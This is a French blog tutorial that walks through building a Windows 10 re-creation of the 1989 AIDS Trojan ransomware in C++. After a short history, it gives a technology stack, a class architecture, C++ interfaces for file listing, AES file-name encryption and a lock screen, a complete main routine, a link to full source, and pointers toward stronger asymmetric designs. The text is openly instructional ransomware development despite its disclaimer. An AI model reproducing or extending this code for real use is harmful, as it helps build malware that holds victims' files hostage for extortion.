Comment développer un ransomware en C++: Le cas AIDS Trojan

Dans mon précédent blog, je vous ai donné les raisons pour lesquelles j’ai développé un ransomware. Dans celui-ci, nous voir comment développer un ransomware en C++.

DISCLAIMER: Je tiens à préciser que ce tutoriel ne doit en aucun cas servir à développer un virus dans le but de nuire à quiconque.

Comment développer un ransomware en c++
Comment développer un ransomware en C++

Pour cela, nous allons nous baser sur l’exemple de AIDS Trojan. Mais alors, qu’est que AIDS Trojan ?

AIDS Trojan

AIDS Trojan ou PC Cyborg Trojan est considéré comme le premier ransomware de l’histoire. Il a été créé par Dr. Joseph L. Popp biologiste évolutionniste provenant d’Harvard. On estime que ce ransomware a fait des victimes dans plus de 90 pays dans le monde à partir de décembre 1989.

Il s’appelle AIDS (ou SIDA en français) car ce ransomware a été diffusé par des disquettes devant contenir un « cours » d’introduction d’information sur le SIDA.

Ses cibles étaient principalement des abonnés de magasines de « World Health Organization AIDS conference » et « PC Business World ».

C’est la victime elle-même qui va exécuter ce logiciel malveillant en même temps que le programme d’informations sur le SIDA.

AIDS Trojan est une attaque différée, c’est-à-dire qu’il attend ce qu’on appelle une bombe logique afin de se déclencher. La bombe logique de AIDS Trojan est un nombre de boot détecté depuis son installation (typiquement 90).

Une fois AIDS Trojan installé, le virus ne va pas directement chiffrer les fichiers. Il va d’abord infecter le disque C et détourner le script « AUTOEXEC.BAT ». Ce script était le fichier de lancement utilisé dans les versions Windows de l’époque (Windows 1.0 – 2.11). Le système d’exploitation exécutait ce programme après chaque démarrage.

Le 90ème boot va déclencher l’exécution du code malveillant qui va chiffrer certains noms des fichiers sur le disque. Une fois les fichiers chiffrés, un message était affiché à l’utilisateur lui exigeant de verser une rançon pour pouvoir recouvrer ses données.

Message affiché par AIDS Trojan

Développer un ransomware en C++

Avant toute implémentation, nous devons tout d’abord concevoir notre application. Cela passe par l’architecture de notre application et les choix des technologies à utiliser.

AIDS Trojan était un malware destiné aux machines Windows des années 90 comme mentionné plus haut. Bien évidemment il est très difficile de nos jours de trouver des machines avec ces OS. Nous allons donc implémenter ce même virus sur les machines Windows 10 (x64).

Technologies

Les technologies utilisées pour l’implémentation sont:

  • Langage de programmation : C/C++ (c++17)
  • Librairies utilisées : standard, windows, openssl
  • Compilateur: Microsoft Visual Studio Compilator 2022 (MVSC)
  • IDE: Qt Creator
  • Gestion des dépendances: vcpkg

Nous allons utiliser des librairies standard et natives telles que celle de windows pour du développement windows et les fonctions du standard pour la gestion des systèmes de fichiers. Openssl est utilisé pour le chiffrement.

Comme algorithme de chiffrement, nous avons décidé d’utiliser AES avec une clé de 128 bits.

Le gestionnaire de dépendances « vcpkg » permet une gestion automatisée des dépendances en téléchargeant automatiquement les bibliothèques dont nous avons besoin pour notre projet. De plus, cela permet d’avoir les versions adaptées à notre architecture ou l’architecture à destination de laquelle on souhaite compiler notre code (x64).

J’écrirai un tutoriel afin de montrer comment mettre en place tout cet environnement de développement.

Architecture

Architecture du programme

Dans cette architecture, chaque classe joue un rôle spécifique. Nous avons voulu faire une architecture simple et facilement compréhensible en suivant quelques règles de développement comme :

  • La séparation des responsabilités
  • L’inversion de dépendance

En effet, chaque classe joue un rôle précis et fait une tâche. Les classes dans “service” sont là où on retrouve notre code métier. « FolderService » a pour rôle de lister tous les fichiers à chiffrer et exclus les fichiers systèmes ou les exécutables, les dll, etc….

AESEncryptor est le service qui chiffre et déchiffre les noms des fichiers.

Afin de pouvoir renommer les fichiers sans avoir d’erreurs liés au caractères spéciaux qui ne sont pas acceptés, nous avons choisi d’encoder les noms des fichiers en hexadécimal.

La classe ScreenBlocker dans « view » est la classe chargée de d’afficher le message de ransomware à l’utilisateur avec le champ pour la clé de déchiffrement.

Etant donné que nous n’avons pas beaucoup de classes, nous n’avons pas trouvé nécessaire d’avoir une classe Controller et avons tout mis dans la classe « main ».

Implémentation

Nous allons dans cette partie implémenter chaque classe de la solution en commençant par les classes de service.

Les services

La classe EncryptorService est une interface pour tout service de chiffrement que nous avons mis en place. Nous l’avons définie comme suit:

class EncryptorService {
protected:

public:

    EncryptorService() {}

    virtual std::string encrypt(std::string message) = 0;

    virtual void encryptFilesIn(std::filesystem::path rootPath) = 0;

    virtual std::string decrypt(std::string ciphertext) = 0;

    virtual void decryptFilesIn(std::filesystem::path rootPath) = 0;

    virtual std::filesystem::path getRootPath() const = 0;

    virtual ~EncryptorService() {}
};

Un service de chiffrement va donc utiliser le service “FolderService” afin de lister tous les fichiers à chiffer puis les chiffrer. Nous avons ici l’exemple de AESEncryptor défini comme suit:

#include "EncryptorService.h"

class AESEncryptor: public EncryptorService {
private:
    std::string iv;
    std::string key;

public:
    // Constants
    static const std::string ENCRYPTED_FILES_EXTENSION;
    static const std::string KEY;
    static const std::string IV;

    AESEncryptor(const std::string &iv, const std::string &key);
    std::string encrypt(std::string plaintext) override;
    void encryptFilesIn(std::filesystem::path rootPath) override;
    std::string decrypt(std::string ciphertext) override;
    void decryptFilesIn(std::filesystem::path rootPath) override;
    std::filesystem::path getRootPath() const override;
    ~AESEncryptor() override;
};

Le service “FolderService” définit quant à lui les fonctions suivantes:

#include <vector>
#include <filesystem>
#include <string>

class FolderService {
protected:
    std::filesystem::path rootPath;
    std::vector<std::string> m_exclude_paths;

public:
    const std::filesystem::path DEFAULT_ROOT_FOLDER = "C:\\test";
    FolderService();
    FolderService(std::filesystem::path rootFolder);
    void initializeExcludedFilesAndFolders();
    void getFiles(const std::filesystem::path rootPath, std::vector<std::filesystem::path>* fileList, bool isEncryption);
    void getFiles(std::vector<std::filesystem::path>* fileList, bool isEncryption);
    void renameFileName(std::filesystem::path filePath, std::string newFileName);
    bool is_excluded(std::string path, bool isEncryption);
    std::filesystem::path getRootPath() const;
    virtual ~FolderService();
};

L’interface

L’interface est la classe qui implémente l’interface graphique à afficher à l’utilisateur une fois tous les fichiers chiffrés. Nous avons dans ce cas utilisé les fonctions natives de la bibliothèque windows.

class ScreenBlocker {

public:
    ScreenBlocker();

    void blockScreen();

    virtual ~ScreenBlocker();
};

Main

Enfin, le main dans notre cas joue le rôle d’un service mettant tous les éléments ensemble, initialise les variables globales et appelle les services les uns à la suite des autres.

#include <iostream>
#include <string>
#include <conio.h>
#include "service/EncryptorService.h"
#include "service/AESEncryptor.h"
#include "view/ScreenBlocker.h"

using namespace std;
using namespace std::filesystem;

int main (){
    cout << "****************** AIDS TROJAN ******************" << endl;

    ScreenBlocker screenBlocker;
    EncryptorService* encryptorService = new AESEncryptor(AESEncryptor::KEY, AESEncryptor::IV);

    encryptorService->encryptFilesIn(encryptorService->getRootPath());

    screenBlocker.blockScreen();

    encryptorService->decryptFilesIn(encryptorService->getRootPath());

    delete encryptorService;
    encryptorService = NULL;
    return 0;
}

Dans cette implémentation, nous avons décidé de ne mettre que les interfaces des classes sauf le main afin de montrer la conception. Ces interface pourront être implémentées en utilisant des bibliothèques au choix.

Vous trouverez le code complet sur mon dépôt github: https://github.com/MesminN/AIDS_Trojan

AIDS Trojan étant un ancien ransomware, lorsqu’on l’implémente tel quel dans le contexte actuel, c’est un virus facilement détectable voire éradicable car il a un principal défaut qu’est le chiffrement symétrique.

En effet, dans un chiffrement symétrique, la même clé est utilisée pour chiffré et pour déchiffrer ce qui rend compliqué le fait cacher la clé car si on l’intègre au code comme dans notre cas, une simple décompilation avec un outil comme ghidra ou Ida permet de retrouver la clé de déchiffrement.

C’est pour cela que quasiment tous les ransomwares de nos jours utilisent le chiffrement asymétrique afin de générer la clé symétrique leur permettant de chiffrer de grands volumes de données, ce qui nous emmène à notre article suivant: Comment développer un ransomware en C++: L’exemple CryptoLocker